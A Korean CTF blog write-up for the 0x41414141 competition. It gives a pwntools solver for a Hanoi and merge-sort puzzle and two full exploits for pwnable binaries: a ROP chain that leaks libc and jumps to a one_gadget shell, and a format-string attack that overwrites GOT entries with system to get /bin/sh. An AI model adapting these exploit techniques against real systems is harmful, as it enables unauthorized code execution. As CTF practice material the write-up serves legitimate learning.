메로나

[0x41414141] write-up 본문

Wargame & CTF/Pwnable

[0x41414141] write-up

m3r0n4 2021. 2. 3. 23:09

1. misc - optimizer

처음 25문제는 하노이탑 움직이는 횟수고 다음 25문제는 머지소트 움직이는 횟수이다. 그냥 맞춰서 보내주면 된다.

from pwn import *
import ast
context.log_level = 'debug'

p = remote('207.180.200.166', 9660)
p.recvline()
p.recvline()

def merge_list(left,right):
    result = list()
    i,j = 0,0
    inv_count = 0
    while i < len(left) and j < len(right):
        if left[i] <= right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            j += 1
            inv_count += (len(left)-i)
    result += left[i:]
    result += right[j:]
    return result,inv_count

def sort_and_count(array):
    if len(array) <= 1:
        return array, 0
    middle = len(array) // 2
    left,inv_left = sort_and_count(array[:middle])
    right,inv_right = sort_and_count(array[middle:])
    merged,count = merge_list(left,right)
    count += (inv_left + inv_right)
    return merged, count

for i in range(0, 25):
        p.recvuntil('[')
        source = map(int, ast.literal_eval('[' + p.recvline()))
        source = (source, 'source')
        length = int(len(source[0]))
        ans = 2**(length) - 1
        p.sendlineafter('>', str(ans))

p.recvline()

for i in range(0, 25):
        p.recvuntil('[')
        source = ast.literal_eval('[' + p.recvline())
        source = [int(j) for j in source]
        #print(source)
        merged, ans = sort_and_count(source)
        p.sendlineafter('>', str(ans))

p.interactive()

2. pwn - external

 got가 싹밀려서 좀 이상하긴 한데 ROP 슥삭 하면 됨

from pwn import *
context.log_level = 'debug'

p = remote('161.97.176.150', 9999)
#p = process('./external')
e = ELF('./external')
#libc = e.libc
libc = ELF('libc-2.28.so')

puts_plt = e.plt['puts']
read_plt = e.plt['read']
write_syscall = e.symbols['write_syscall']
main = e.symbols['main']
pr = e.symbols['__libc_csu_init'] + 99
ppr = 0x4012f1

payload = "A" * 0x58
payload += p64(pr)
payload += p64(0x1)
payload += p64(ppr)
payload += p64(0x404060)
payload += p64(0x1)
payload += p64(write_syscall)
payload += p64(pr)
payload += p64(0)
payload += p64(ppr)
payload += p64(e.got['puts'])
payload += p64(0x1)
payload += p64(read_plt+6)
payload += p64(0x401224)

p.sendlineafter('> ', payload)

stdout_addr = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00')
libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
log.success(hex(libc_base))
one_gadget = libc_base + 0x448a3
p.send(p64(one_gadget))
p.interactive()

3. pwn - the_pwn_inn

이건 끝나고 풀었음 로컬에선 했는데 리모트에서 계속 안되서 어케하나 계속 고민함

20.04라 원샷이 안먹음 그래서 printf got를 system으로 덮고 다음 입력받을때 /bin/sh\x00 넣어주면 끝난다.

from pwn import *
#context.log_level = 'debug'

#p = remote('161.97.176.150', 2626)
p = process("./the_pwn_inn")
e = ELF('./the_pwn_inn')
libc = e.libc
#libc = ELF('libc6_2.31-0ubuntu10_amd64.so')

exit_got = e.got['exit']
main = e.symbols['main']
libc_start_main_offset = libc.symbols['__libc_start_main']
main_low = e.symbols['vuln'] & 0xffff
pr = 0x4013f3

#offset = 6
payload = ''
payload += '%{}c'.format(main_low)
payload += '%8$hn'
payload += '%45$p'
print len(payload)
payload += p64(exit_got)

p.sendline(payload)

p.recvuntil("0x")
leak = int(p.recv(12), 16) - 240
log.success(hex(leak))
libc_base = leak - libc_start_main_offset
log.success(hex(libc_base))
binsh = libc_base + libc.search('/bin/sh\x00').next()
system = libc_base + libc.symbols['system']
one_gadget = system#libc_base + 0xe6cde
log.success(hex(one_gadget))

one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

payload2 = ''
payload2 += '%' + str(low)  +'c'
payload2 += '%'+'11'+'$hn'

payload2 += '%' + str(middle) + 'c'
payload2 += '%'+'12'+'$hn'

payload2 += '%' + str(high) + 'c'
payload2 += '%'+'13'+'$hn'

payload2 += 'A' * (8 - len(payload2) % 8)
payload2 += p64(e.got['printf'])
payload2 += p64(e.got['printf']+2)
payload2 += p64(e.got['printf']+4)
payload2 += p64(0)

p.sendline(payload2)

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()